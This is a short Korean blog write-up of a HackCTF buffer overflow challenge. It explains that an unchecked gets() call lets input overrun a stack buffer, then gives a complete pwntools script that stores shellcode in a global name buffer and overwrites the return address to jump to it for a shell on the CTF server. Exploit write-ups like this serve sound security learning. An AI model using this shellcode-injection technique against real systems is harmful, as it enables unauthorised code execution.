[ HackCTF ] 내 버퍼가 흘러넘친다!!!

Hyeonjin Lee·2023년 3월 7일
0

문제 분석



이름을 입력받고 gets로 또 한 번 값을 입력받고 있다.
여기서 입력받는 문자열의 길이를 확인하지 않아 BOF가 발생하게 된다.

문제 풀이


변수 s는 크기가 작아 쉘코드를 넣을 수 없으므로 name변수에 쉘코드를 넣고 BOF로 return address를 name으로 바꿔주면 된다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3003)

name = 0x804a060

context.arch = 'i386'
shellcode = shellcraft.sh()
shellcode = asm(shellcode)

payload = ''
payload += '\x90'*0x14
payload += '\x90'*4
payload += p32(name)

p.sendlineafter('Name : ', shellcode)
p.sendlineafter('input : ', payload)

p.interactive()
profile
요즘 행복해요

0개의 댓글

관련 채용 정보